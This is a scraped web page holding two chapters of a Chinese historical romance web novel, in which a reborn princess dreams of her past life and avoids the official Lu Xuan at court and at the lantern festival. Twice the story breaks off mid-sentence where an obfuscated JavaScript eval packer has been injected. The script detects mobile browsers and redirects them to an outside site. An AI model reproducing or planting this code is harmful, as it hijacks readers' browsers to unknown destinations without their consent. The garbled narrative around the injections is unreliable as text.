《从此簟纹灯影包月》 3. 第 3 章 永宁起身见了个礼,“陆大人。”随后表示自己的疑惑,“怎么是陆大人?” 陆璇脸上没什么表情,解释道:“太傅这几日身体抱恙,我替他几天。” “原来如此。”永宁保持着微笑,心里早已风起云涌。 怎么没有人告诉她? 早知如此,她就不提这事儿了,或者晚几天再说。 陆璇十分坦然,永宁如坐针毡。 她对自己的定力没什么自信,叫她对着陆璇这样一张脸,唉…… 内心这样想着,表面上却要恭恭敬敬。 她着人备好了茶水糕点,陆璇喝了口茶,便问她:“殿下想听什么故事?” 永宁歪着头,托着脑袋,蔫儿吧唧地说:“陆大人随便讲讲吧。” 陆璇沉吟片刻,便开始了:“从前有座山,山上有个道观,道观里有一个老道士和一个小徒弟。后来老道士死了,小徒弟也不见了。” “然后呢?”永宁睁着大眼睛问。 陆璇一本正经,“没了。” 永宁撇嘴,一下子安静下来。陆璇抿着嘴,一脸的正经。 永宁看了眼外面,装作漫不经心道:“天色已晚,陆大人公事繁忙,我还让你为我操劳,实在过意不去,不如陆大人回去休息吧。”末了又补充道:“明日也不必来了。” 这话里话外明显的逐客意味,陆璇起身,告了个礼,“既如此,微臣告退。” 永宁看着陆璇的背影消失在门口,叹了口气。她不想和陆璇这样相处,可当他说走就走的时候,她居然又有些失落。 第二日,陆璇果真没来。 永宁站在窗边,看着天色一点点暗下去,眼皮子垂下来,心里居然有些发涩。 明德皇帝是有意撮合他们,听说了陆璇只待了片刻便走了,问她:“你当真对那陆璇这般不中意?” 永宁极认真地点了点头,她当真对陆璇不中意。 当真。 明德皇帝叹了口气,摆了摆手,多好的孩子啊,可惜了。 永宁回去之后,在宫里的合欢树下站了许久。元后与明德皇帝是少年夫妻,感情甚好,在永宁的记忆里,她父皇和母后十分恩爱。因此她心里总是期盼着这样的感情。 四月天气虽回暖,夜风仍然凉飕飕的,擦着肌肤过去,就把温度也带走了。 永宁半夜烧起来,意识不清醒,语句不顺地说着胡话,梦一个接一个,全都是上辈子。 又是明德皇帝哄她,又是大红嫁衣嫁给陆璇,又是陆璇一张冷脸…… 前世。 “客官,你要点什么?”小二把汗巾往肩上一搭,哈着腰问。 永宁道:“把你们二楼给我包下来,再上一壶最好的茶。” “好嘞!” 永宁上了楼,在靠窗的位置坐下。星心在她对面坐下,主仆二人都在宫里长大,对市井的热闹感到新奇。街边的吆喝声不断传来,楼下的高谈阔论也间或冲击着她们的耳膜。 这些对她们来说,是全然陌生的。 永宁是打听好今日有状元郎游街,才偷偷溜出来的。星心是她的侍女,自然要形影不离。 从宫里偷溜出来费了些力气,到这里已经晌午,很快便是状元郎游街的时辰。 星心搓了搓手,一脸的期待:“殿下,你说这状元郎长什么样啊?” 永宁托着下巴,摇了摇头,望着长街深处。 小二很快上了茶,见她们眼巴巴望着,便知晓了她们的来意,笑呵呵道:“二位小姐也是来看状元郎的吧,我听说啊,这新状元是个俊俏郎君,如今又高中,不少人特意来看呢。” 星心听了这话,眼睛里放出光,拉着永宁的手。永宁嘴角扬起来,露出少女的天真烂漫来,扭头问小二:“这新科状元有多好看?” 小二憨笑:“反正是个俊俏郎君,马上就要来了,小姐到时候自己看吧。我是个粗人,也不知道怎么说。说不定还是小姐的好姻缘呢。”小二说完,便下了楼。 星心撇嘴,似乎不太满意他的说辞:“我们殿下的姻缘必定要是天下最好的姻缘,这状元郎不见得配得上。” 永宁嗔怪地看了她一眼,少女对于姻缘,总是有种禁忌的新奇感。 二人正打闹,便听得前方突然传来了动静。 永宁伸长了脖子,远远看见马上坐着一个人,大红衣裳,想来就是状元郎了。 星心说:“殿下殿下,远远看着,这状元郎似乎还不错呢。” 永宁捏了捏她的脸,嗔道:“你就知道了,这么远,你是千里眼吗?” 星心捂着脸颊,嘟囔:“来了来了,殿下,他来了。” 那人坐在马上,缓缓而来,慢慢近了,永宁瞪着眼睛,一眨不眨,甚至探出头去。 那人的确如小二所说,是个俊俏郎君。眉眼意气,如秋水,鼻子和嘴巴恰到好处,多一分嫌多,少一分嫌少。永宁幼时不曾认真同太傅学习诗书,此刻竟寻不出合适的话来形容词。万千词句她都没有,最后憋了半天,只有一句:“的确是个俊俏郎君。” 星心捂着嘴偷笑她:“殿下可是看呆了。” 永宁转过头,想教训一下这个不知天高地厚的小丫头,未曾想转身的一瞬间,头上簪子竟飞了出去,从茶馆的窗户,在空中翻滚,而后砸到了新科状元的脑袋。 状元郎被砸得一懵,抬头,望见同是一脸懵的永宁。 那是母妃留给她的簪子,她喜欢得不得了,可不能丢了。她便朝他喊道:“你别把我簪子丢了!”说着便一路小跑,一溜到了他面前。 他把簪子拿在手里,递给她。 她抬头,接过。看着他的脸,话也忘了说。还是星心替她说的:“多谢,我家小姐并非有意冒犯公子。” 永宁回过神,行了个礼,痴痴地说:“多谢。” 后来马队什么时候走的,她已然记不得了。连她是如何回的宫,也变得虚幻了。一切都变得虚幻了,无论是那茶馆,那小二,甚至连她自己的脸,也变得模糊不清,只有陆璇的脸,是清晰的。 陆璇看着她,眼神清亮,薄唇紧抿,这一眼,天下皆成虚无。 看着看着,陆璇的脸又变了。 她已然换了妇人发髻,陆璇褪去了稚气,冷冷看着她,“你不过是个刽子手。” 字字句句如刀锋锋利,扎得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953403|193104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她血泪四涌。 “陆郎!”永宁大叫一声,眼睛睁开,头昏脑胀,头重脚轻,四肢乏力。父皇坐在床边,舒了口气。 永宁扯出一个微笑,撒娇道:“父皇怎么来了?” 明德皇帝坐到她的床边,扶她起来,拍了拍她的肩膀,“你夜里高热不退,我不放心。” 永宁眨了眨眼,眼泪顺着小脸瓜子流下来,“让父皇担心了。” 明德皇帝捋了捋胡子,她先前那声陆郎他自然是听见了,“我儿看来是口是心非,害羞了。” 永宁被梦扰得心绪不宁,惨然一笑,“父皇,我只不过梦见了陆大人,梦里我嫁给了他,可他并不喜欢我。你看,梦都这么说,说明我们着实不合适。” 明德皇帝点了点头,不再提这事。 永宁大病这一场,没什么胃口吃东西,便日渐消瘦下来。她原本还有些婴儿肥,脱成了鹅蛋脸,出落地愈发好看。 星心给她梳妆的时候,都忍不住夸她:“我们殿下真是天下最好看的女子。” 好看可不一定是好事,永宁看着铜镜里的自己,撇了撇嘴,好看容易被贼惦记。 五月换夏衣,她身量苗条,穿着活泼的夏衣,成日里在宫里爬墙上树,好不自在,甚至成了一道风景线。 公主十六岁,在大兆,女儿家十五至十八岁,都是适婚年龄,便有不少王孙公子都惦记着她。 明德皇帝瞧着他们,每一个比得上陆璇的。 一日宫宴,程将军觍着脸想为大儿子求亲。 “君上,不肖小儿……” 明德皇帝打断他:“将军言重了,我知爱卿之意,只是我儿年龄尚小,我想多留几年。” 明德皇帝对陆璇青眼有加,众臣皆看在眼里,暗暗揣测,明德皇帝是想将陆璇招为驸马。 永宁突然遭了这么一事,下意识地看了眼陆璇。 谁知陆璇正好也在看他,四目相对,陆璇举起酒杯,笑了笑,一饮而尽。 永宁深吸了口气,怀疑自己又身在梦中,陆璇居然……冲她笑…… 她在桌子底下掐了掐自己的手,疼得不得了。她也没在做梦啊。 那一定是陆璇见鬼了。 她拿起酒杯,一饮而尽。 后来的事全都忘记了,醒过来头疼得很,寝殿的窗纱松动,被风吹得晃动。星心端着水盆进来,伺候她梳洗。“殿下日后可莫要吃酒了。” 她在窗纱飘动的时间里,看了眼窗外,阳光刺得她微微闭了闭眼。 “糊涂东西!怎么做事的,窗纱都松动了,影响殿下休息。”星心气势汹汹。她是个很得力的侍女,只有在她面前看起来傻乎乎的。 永宁笑了笑,挑出一只碧玉簪子给星心,“今天戴这个吧。” 五月里,有个大节,叫花灯节。 顾名思义,离不了花,也离不了灯。花灯节,花灯节,上辈子为了陆璇,她可是把这花灯节闹了个鸡飞狗跳。也因此,整个上京都知道了永宁公主喜欢陆璇。 明德皇帝为了她的颜面,便下了旨赐婚。 正是这一道圣旨,陆璇的小青梅便自尽了。 而陆璇,抗了旨。 4. 第 4 章 宫里是不兴过这个的,她从前是求了大哥好久,才求得大哥同意让她跟着出去。 今时不同往日,她对花灯节没什么兴趣,星心倒是挺想出去见识见识的,听闻永宁不想去,还失望了好一会儿。 结果事与愿违,明德皇帝让她跟着大哥出去走走,散散心。 她想着出去便出去罢,总归遇不上陆璇,也不会有什么瓜葛。即便遇上了,她心里也有分寸。便同意了。 大哥是永宁一母同胞的哥哥,姓李,单名一个烈字,比她大六岁,已经二十一,尚未婚配。别说正妻,就是个侍妾都没有,整个人清心寡欲,明德皇帝甚至怀疑这儿子好男风。 李烈再三保证他不好男风,只是未曾有心仪之人,对男女之事没有兴趣。 元后是个美人儿,她这位大哥皮相随了元后,也是个俊俏儿郎,上京多少女孩子的眼睛盯着他。永宁自己没有感情的念想,倒有了当媒婆的心思。 距离花灯节还有几天,花灯节当天,上京有些脸面的女子都会出来赏花观灯。兴许,她能找到一个嫂嫂? 永宁托着下巴,笑得见牙不见眼,“大哥可有中意的姑娘?” 李烈摇了摇头,轻轻敲了敲她的头,“你问这话,可是有了中意的郎君?”他是一个顶温柔的人,同永宁关系也好,永宁一直觉得,若他即了位,应当是个好皇帝。可是,前世他却英年早逝。想到这里,永宁眸光一暗。 李烈注意到她的走神,敲了敲桌面,“谁家郎君让我们照月这般相思?” 永宁回过神来,拿眼瞪他:“才没有,我只是在想,大哥以后会找什么样的嫂嫂?” 李烈理了理衣袖,笑道:“这话你不如同你二哥说,指不定好事将近。” 明德皇帝子嗣不多,除了元后所生的李烈和李照月,还有其他妃嫔生的两个儿子。二皇子李熙比李烈小三岁,比照月大三岁,性情活泼。照月排行第三,四皇子比她小一岁,名唤李然,前世继位的便是他。 永宁想起这事便心绪难平,她总觉得这事背后有很大的隐情。 “二哥的好事是同谁家姑娘?”照月本着不问白不问的原则八卦。 李烈嘴角带笑,“你怎么对这事如此上心?” 永宁撇嘴,扯着李烈的袖子撒娇,“大哥,好大哥,你就告诉我吧。” 李烈见不得她撒娇的样子,叹了口气,语气无奈,附在她耳边小声道:“赵将军家。” 永宁笑得狡黠,看来这花灯节有好戏看了。 转眼便到花灯节。 其实花灯节是用来给男男女女正大光明相会的日子,在这一天,是不拘太多规矩的。若是男子看上了谁家姑娘,便买一枝花送给姑娘。若是姑娘也恰好看上了这男子,便买一盏灯回赠他。这样一来二去,便算小定了姻缘。 花灯节这天,上京热闹非凡。重头戏在晚上,因此白天永宁和李烈便寻了个酒楼先坐着,打算等会儿去逛布庄和首饰店。永宁自然不缺这些,不过嘛,乐趣在于逛而非买。 他们一行只有几个人,永宁和星心,李烈和他的侍从,以及两个武功高强的侍卫。 永宁坐在窗户边上,往下瞧。今日比状元郎游街更加热闹,摊贩更多,吆喝声也更大。各色小吃摆出一溜长行,照月看得心里痒痒。 李烈看她这样子,就知道她的心思,吩咐自己的侍从去给她买,一溜买了一样。 永宁笑得眉眼弯弯,拿起一串冰糖葫芦,“谢谢大哥。” 到入夜时分,上京城华灯初上,别有一番味道。 美景美人,随处可见,可惜她心不在此,她仰头问李烈:“二哥怎么还不来啊?” 李烈看她这样子,活像在等戏班子唱戏,哭笑不得。“上京城这么大,哪儿就这么随便能看到你二哥?” 永宁沮丧,大哥说得有道理,上京城这么大,上哪找二哥呢?她低着头,转着刚买的小风车把,忽而听到一个熟悉的声音:“见过二位殿下,两位殿下好兴致。” 这声音她再熟悉不过,都不用抬头看便知道是谁。她也不想抬头看他,依旧低着头,拿手指去拨风车。恰好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953404|193104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有微风轻拂,小风车就慢悠悠地转起来。 她听见大哥说:“陆大人。陆大人好兴致。” 唉,的确兴致不错。估计是和他的小青梅一道来的。 永宁拿嘴去吹小风车,小风车便转得快了些,她看着,觉得开心了些。 偏生有人要找她的不痛快:“殿下可真是孩童心性。” 这是说她幼稚? 她拿眼瞪陆璇,凶神恶煞道:“关你什么事。” 陆璇并不为她的凶神恶煞所动,作了个揖,“殿下恕罪,是微臣的不是。” 她看他躬着身,一副道貌岸然的样子,火气一下子冒到头顶,她最讨厌就是他这副样子。她懒得和他说话,反正也说不过他,只是和李烈说:“大哥,我们走吧。” 这话的意思呢,就是说他们要走了,让陆璇有点眼力见。 可惜陆璇没有,反倒说:“微臣闲来无事,可否同二位殿下一道。” 不可! 永宁想拒绝,李烈已经点了头,她的话堵在嗓子眼,只好咽了下去。 陆璇跟在他们身后,她做什么都没兴致。她心道,这等佳节,他不用陪他的佳人吗?随后又想,这与她有什么关系呢? 陆璇与她,应当再无瓜葛才是。 要想没有瓜葛,她首先得堂堂正正地面对他。 他既不是她的心上人也不是她的眉间秋色,他只是臣子。 她首先要做到这一点。 她拿眼偷偷瞄了他一眼,鼓起的勇气又都泄个精光,可是这好难啊。 比生病的时候吃苦药要难上一百倍,比忍住不吃好吃的要难上一百倍。 陆璇察觉到她的目光,向她报以一笑。永宁扭过头,眉头拧成一团。 难不成,她比前世生得好看些? 这陆璇怎么老是朝她笑? 永宁琢磨了半天也没琢磨明白,而时间悄无声息就过了。 永宁垂着头,“这会儿二哥怕莫是饭都煮熟了,还有什么看头?” 李烈哭笑不得。